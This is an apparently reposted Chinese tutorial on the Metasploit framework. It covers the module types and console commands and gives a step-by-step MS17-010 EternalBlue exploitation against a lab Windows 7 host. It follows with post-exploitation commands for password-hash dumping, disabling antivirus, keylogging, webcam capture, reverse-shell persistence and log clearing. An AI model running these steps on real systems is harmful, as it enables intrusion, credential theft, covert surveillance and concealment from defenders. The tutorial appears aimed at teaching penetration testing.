渗透测试工具——Metasploit

Posted .SYS.

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了渗透测试工具——Metasploit相关的知识,希望对你有一定的参考价值。

Metasplout简介

Metasploit是一款开源的安全漏洞检测工具,同时Metasploit是免费的工具。

Metasploit核心中绝大部分有Rudy实现,一小部分由汇编和C语言实现。

kali中自带Metasploit

Metasploit文件结构与模块

路径: /usr/share/metasploit-framework/

  • config: MSF环境配置信息,数据库配置信息
  • data:后渗透模块的一些工具及payload,第三方小工具集合,用户字典等数据信息
  • documentation:用户说明文档及开发文档
  • external: MSF的一些基础扩展模块
  • lib:基础类和第三方模块类
  • modules: MSF系统工具模块
  • plugins:第三方插件接口
  • scripts: MSF的常用后渗透模块,区别于data里的后渗透模块,不需要加post参数和绝对路径,可以直接运行
  • tools:额外的小工具和第三方脚本工具
  • msfconsole: MSF基本命令行,集成了各种功能
  • msfd: MSF服务,非持久性服务
  • msfdb: MSF数据库
  • msfupdate: MSF更新模块,可以用来更新MSF模块
  • msfrpc: MSF的服务端,非持久性的rpc服务
  • msfrpcd:持久性的MSF本地服务,可以给远程用户提供rpc服务以及其他的http服务,可以通过xml进行数据传输。


exploits(渗透攻击/漏洞利用模块)

  • 渗透攻击模块是利用发现的安全漏洞或配置弱点对远程目标进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问的代码组件。流行的渗透攻击技术包括缓冲区溢出、Web应用程序漏洞攻击、用户配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,以及用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。
  • 渗透攻击模块是Metasploit框架中最核心的功能组件。

 payloads(攻击载荷模块)

  • 攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码。
  • 攻击载荷模块从最简单的添加用户账号、提供命令行Shell,到基于图形化的VNC界面控制,以及最复杂、具有大量后渗透攻击阶段功能特性的Meterpreter,这使得渗透攻击者可以在选定渗透攻击代码之后,从很多适用的攻击载荷中选取他所中意的模块进行灵活地组装,在渗透攻击后获得他所选择的控制会话类型,这种模块化设计与灵活的组装模式也为渗透攻击者提供了极大的便利。

 auxiliary(辅助模块)

该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。

 nops(空指令模块)

  • 空指令(NOP)是一些对程序运行状态不会造成任何实质性影响的空操作或无关操作指令。最典型的空指令就是空操作,在x86 CPU体系架构平台上的操作码是0x90。
  • 在渗透攻击构造邪恶数据缓冲区时,常常要在真正执行的Shellcode之前添加一段空指令区。这样,当触发渗透攻击后跳转执行Shellcode时,就会有一个较大的安全着陆区,从而避免受到内存地址随机化、返回地址计算偏差等原因造成的Shellcode执行失败。
  • Matasploit框架中的空指令模块就是用来在攻击载荷中添加空指令区,以提高攻击可靠性的组件。

 encoders(编译器模块)

编码器模块通过对攻击载荷进行各种不同形式的编码,完成两大任务: -是确保攻击载荷中不会出现渗透攻击过程中应加以避免的"坏字符”; 二是对攻击载荷进行“免杀”处理,即逃避反病毒软件、IDS/IPS的检测与阻断。

 post(后渗透攻击模块)

后渗透攻击模块主要用于在渗透攻击取得目标系统远程控制权之后,在受控系统中进行各式各样的后渗透攻击动作,比如获取敏感信息、进一步横向拓展、 实施跳板攻击等。

 evasion(规避模块)

规避模块主要用于规避Windows Defender防火墙、Windows应 用程序控制策略(applocker)等的检查。

Metasploit常用命令

输入msfconsole进入ms终端,启动Metasploit

 Terminal终端下的常用命令

命令功能
msfdb init msf数据库初始化
msfdb delete删除msf数据库并停止使用
msfdb start启动msf数据库
msfdb stop停止msf数据库
apt install metasploit frameworkmsf更新
msfvenom多平台攻击载荷生成器
msf-nasm_ shell将汇编指令转换成为对应的16进制机器码
msfconsole打开msf终端

在msf终端下,输入?或help,可查看终端命令集

 核心命令(Croe Commands)

 模块命令(Module Commands)

 数据库后端命令(Database Backend Commands)

 msf终端下的常用命令

命令功能
db_ status查看msf数据库连接状态
db_ nmap调用nmap扫描,并将扫描结果存入数据库
search搜索含有关键字的模块
use选择使用- -个模块
show payload显示该模块支持的payload
show options显示该模块需要设置的参数
info查看详细信息
set使用模块后,设置模块所需要的参数的值(对应使用unset取消设置的
值)
back返回.上级状态
exploit/run两个命令都表示运行攻击模块
sessions查看当前连接的会话

缓冲区溢出概述

关于缓冲区溢出攻击

  • 缓冲区是内存中存放数据的地方。在程序试图将数据放到计算机内存中的某一位置,但没有足够空间时会发生缓冲区溢出。
  • 缓冲区溢出攻击利用编写不够严谨的程序,通过向程序的缓冲区写入超过预定长度的数据,造成缓存的溢出,从而破坏程序的堆栈,导致程序执行流程的改变。

缓冲区溢出的危害

  • 数量大,分布广泛
  • 漏洞危害等级高

exploits (渗透攻击/漏洞利用模块)

  • 渗透攻击模块是利用发现的安全漏洞或配置弱点对远程目标进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问的代码组件。
  • 渗透攻击模块包括缓冲区溢出、Web应用程序漏洞攻击、用户配置错误等多种攻击方法。其中缓冲区溢出攻击方法数量最多,总的来说可分为两大类,即主动溢出和被动溢出。主动溢出是针对目标主机的漏洞主动的进行攻击以获得控制权限,被动溢出是针对目标主机被动的监听然后获得相应的操作。
  • exploits模块支持的操作系统类别包括: AIS、 BSDI、 Dialup、 FreeBSD、Hpux、Irix、 Linux、 Netware、 OSX、Solaris、 Unix、 Windows等。 其中Windows的溢出方式数量最多。
  • /usr/share/metasploit-framework/modules/exploits

 利用Metasploit进行渗透测试的一般流程

  • 扫描目标机系统,寻找可用漏洞
  • 选择并配置- 个渗透攻击(漏洞利用)模块(exploits)
  • 选择并配置- 个攻击载荷模块(payloads)
  • 选择- -种编码技术(encoders),用来绕过杀毒软件的查杀
  • 执行渗透攻击
  • 后渗透阶 段的操作

 exploit模块应用实例一ms017-010 漏洞利用

环境准备

  • 操作机: Kali Linux 2021.1, Metasploit Frameworks 6.0.30
  • 目标机: Windows 7 (含ms17-010漏洞)

步骤1:启动Metasploit:

 步骤2:在ms终端下输入以下命令查找ms17-010相关模块:

search ms17-010

 步骤3:分别输入以下命令,使用smb_ ms17. _010模块对目标机进行漏洞检测,确认其存在ms17-010漏洞:

  • use auxiliary/scanner/smb/smb_ ms17_ 010 (也可以use【payload对于序列号】)//使用smb_ ms17_ 010模块
  • show options //查看该 模块需要设置哪些参数
  • set RHOST192. 168.40.220 //设 罟目标机的IP地址

 步骤4:确认参数设置完毕后,利用以下命令执行漏洞检测:

 run
检测结果为目标机具有ms17-010漏洞(vulnerable)

步骤5:分别输入以下命令,使用ms17_ 010_ eternalblue 模块对目标机的ms17-010漏洞进行利用:

  • use exploit/windows/smb/ms17_ 010_ eternalblue//使用ms17_ 010_ eternalblue模块
  • set RHOST 192.168.40.142 //设置 目标机的IP地址
  • set payload windows/x64/meterpreter/reverse_tcp//使用payload: meterpreter/reverse_ tcp
  • set RPORT 445 //设置目标端口
  • set target 0 //设置目标操作系统类型为Windows 7

 步骤6:确认参数设置完毕后,利用以下命令执行漏洞利用

run
攻击执行成功后,会显示meterpreter的提示符(因为步骤5在设置payload时选择了windows/x64/meterpreter/reverse_tcp )。直接在该提示符下输入shell命令,则可以拿到目标机的shell.

  步骤7: 后渗透阶段

运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 出现,我们输入: shell  即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,我们只需输入:exit

 

要想从 meterpreter 退出到MSF框架,输入:background 

输入  sessions -l   查看我们获得的shell

输入  sessions -i 1  即可切换到id为1的shell  

 Post后渗透模块

在meterpreter > 中我们可以使用以下的命令来实现对目标的操作

sysinfo             #查看目标主机系统信息
run scraper         #查看目标主机详细信息
run hashdump        #导出密码的哈希
load kiwi           #加载
ps                  #查看目标主机进程信息
pwd                 #查看目标当前目录(windows)
getlwd              #查看目标当前目录(Linux)
search -f *.jsp -d e:\\                #搜索E盘中所有以.jsp为后缀的文件
download  e:\\test.txt  /root          #将目标机的e:\\test.txt文件下载到/root目录下
upload    /root/test.txt d:\\test      #将/root/test.txt上传到目标机的 d:\\test\\ 目录下getpid              #查看当前Meterpreter Shell的进程
PIDmigrate 1384     #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime            #查看主机运行时间
getuid              #查看获取的当前权限
getsystem           #提权
run  killav         #关闭杀毒软件
screenshot          #截图
webcam_list         #查看目标主机的摄像头
webcam_snap         #拍照
webcam_stream       #开视频
execute  参数  -f 可执行文件   #执行可执行程序
run getgui -u hack -p 123    #创建hack用户,密码为123
run getgui -e                #开启远程桌面
keyscan_start                #开启键盘记录功能
keyscan_dump                 #显示捕捉到的键盘记录信息
keyscan_stop                 #停止键盘记录功能
uictl  disable  keyboard     #禁止目标使用键盘
uictl  enable   keyboard     #允许目标使用键盘
uictl  disable  mouse        #禁止目标使用鼠标
uictl  enable   mouse        #允许目标使用鼠标
load                         #使用扩展库
run				             #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27        #反弹时间间隔是5s 会自动连接
                                   192.168.27的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389     #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
clearev                       #清除日志

下面的模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。

run post/windows/manage/migrate                  #自动进程迁移     
run post/windows/gather/checkvm                  #查看目标主机是否运行在虚拟机上     
run post/windows/manage/killav                   #关闭杀毒软件     
run post/windows/manage/enable_rdp               #开启远程桌面服务     
run post/windows/manage/autoroute                #查看路由信息     
run post/windows/gather/enum_logged_on_users     #列举当前登录的用户     
run post/windows/gather/enum_applications        #列举应用程序     
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码     
run windows/gather/smart_hashdump                #dump出所有用户的hash

关于reverse_ tcp与bind_ _tcp

reverse_ tcp:攻击机设置一个端口(LPORT) 和IP (LHOST) ,Payload在目标机执行连接攻击机IP的端口,这时如果在攻击机监听该端口会发现目标机已经连接。
victim_ IP:xxxx -> attacker. IP:4444 

bind_ tcp:攻击机设置一个端口(LPORT) ,Payload在目标机执行打开该端口,以便攻击机可以接入。
attacker_ IP:xXXx -> victim_ IP:4444

reverse——tcp(目标机主动连接攻击机4444端口)

 

bind_tcp(攻击机主动连接目标机4444端口)

 

 关于reverse_ tcp与bind _tcp

  • 采用reverse的方法一般较为安全, 因为是目标机主动连接攻击机,所以一般不会被防火墙发现。
  • 而采用bind的方法,攻击机主动连接目标机( 即需要在目标机上打开端口)时很容易被安全软件和防火墙发现。

auxiliary模块

 auxiliary (辅助模块)

主要功能:执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。
与exploits模块的区别:

  • exploits模块一 般 需要和payloads模块联合使用,通过exploits模块渗透成功后执行payloads模块中的代码。
  • auxiliary模块不需要和payloads模块联合使用。

/usr/share/metasploit-framework/modules/auxiliary 

 meterpreter简介

  • Metasploit V4之后的新版本中,meterpreter作为后渗透攻击模块的实施通道,可以根据渗透测试目标需求进行灵活扩展。
  • 涉及范围:信息收集、口令攫取、权限提升、内网拓展等。

 meterpreter的技术优势

  • 平台通用性:提供了各种主流操作系统和平台上的meterpreter版本,包括Windows、Linux、BSD等,并同时支持x86和x64平台,另外还提供基于Java和php语言的实现,以应对各种不同环境。
  • 纯内存工作模式:工作时直接装载meterpreter的动态链接库到目标进程空间,而不是先上传到磁盘,再调用loadlibrary加载动态链接库启动。这样启动隐蔽,很难被杀毒软件检测到,也不会在目标主机磁盘留下任何痕迹。
  • 灵活且加密的通信协议:采用TLV (Type Length Value) 数据封装格式;通信数据经过XOR加密,然后调用OpenSSL库进行SSL封装传输,保证传输的保密和隐蔽性。
  • 易于扩展: meterpreter的插件以动态链接库文件的形式存在,可以根据喜好或习惯选择编程语言,并按照meterpreter的接口形式编写所需要的功能,然后编译成动态链接库,拷贝至相应目录即可。

 meterpreter常用命令

命令功能
pwd打印当前工作目录
sysinfo查看系统信息
getuid获取当前权限的用户id
ps查看 当前目标机上运行的进程列表和pid
getsystem获取system权限
screenshot截取目标主机当前屏幕
hashdump获取用户名与hash口令
shell获取目标主机shell
upload上传一一个文件
execute执行目标系统中的文件(-f指定文件,-i执行可交互模式,-H隐
藏窗口)
clearev清除日志
background将meterpreter放入后台(使用sessions -i重新连接到会话)

metepreter常用命令——pwd、sysinfo、getuid

 metepreter常用命令——ps

 metepreter常用命令——screenshot

该命令对目标机进行截屏,并将截屏图片保存至/root目录

  metepreter常用命令——hashdump

metepreter常用命令——shell 

非常重要的命令,可获取系统的shell控制台

meterpreter常用命令——upload

 

 meterpreter常用命令——download

 meterpreter常用命令——execute

 

 meterpreter常用命令——clearev

 meterpreter常用命令——background

 meterpreter脚本

  • 默认存放路径: /usr/share/metasploit-framework/scripts/meterpreter/
  • 使用方法: run [ 脚本名称]

 meterpreter脚本使用——vns

该脚本可以往目标机上传一个vnc agent,用以查看目标机的屏幕

 meterpreter脚本使用——arp_scanner

该脚本可以检测所在局域网中的存活主机。

 meterpreter脚本使用一一scraper

该脚本可以列举目标系统信息,包括攫取用户名和密码、下载全部注册表、挖掘密码hash值、输出HKEY_ CURRENT_ USER (HKCU)等。

  meterpreter脚本使用一一persistence

该脚本允许在目标机注入meterpreter代理,以确保系统重启之后meterpreter还能运行。

meterpreter脚本的发展趋势

  • 在以前,meterpreter 脚本使用自己的格式,与Metasploit其它模块的区别很大。
  • 随着Metasploit版本的演进,meterpreter 脚本正在被慢慢转化为后渗透模块(post),最终将和Metasploit模块(即exploits、auxiliary、 post等)使用统一-的标准和格式。
  • 模块间统一-格式的优点是 可以在所有会话间实施相同的攻击。

 meterpreter脚本使用一一post/windows/manage/enable_rdp

该脚本用于开启目标机的远程桌面服务,使用前需要先运行getsystem命令获取系统权限。

 开启远程桌面成功后,可以在kali终端使用“rdesktop 目标IP”远程连接目标机

 meterpreter脚本使用一一post/windows/manage/migrate

重要的脚本,可以将meterpreter会话迁移到内存空间中的其它稳定的、不会被关闭的服务进程中,以维持稳定的系统控制连接。

 

以上是关于渗透测试工具——Metasploit的主要内容,如果未能解决你的问题,请参考以下文章

渗透测试工具——Metasploit

渗透学习 | Metasploit技术

Metasploit渗透测试魔鬼训练营的作品目录

Metasploit渗透测试(框架介绍靶机安装基本使用方法)

白嫖Metasploit 渗透工具的骚操作讲解

2022-渗透测试-信息收集-Metasploit(基于TCP协议)